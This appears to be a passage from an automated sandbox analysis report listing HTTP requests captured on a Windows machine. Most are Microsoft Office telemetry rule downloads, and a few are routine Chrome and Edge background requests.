Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
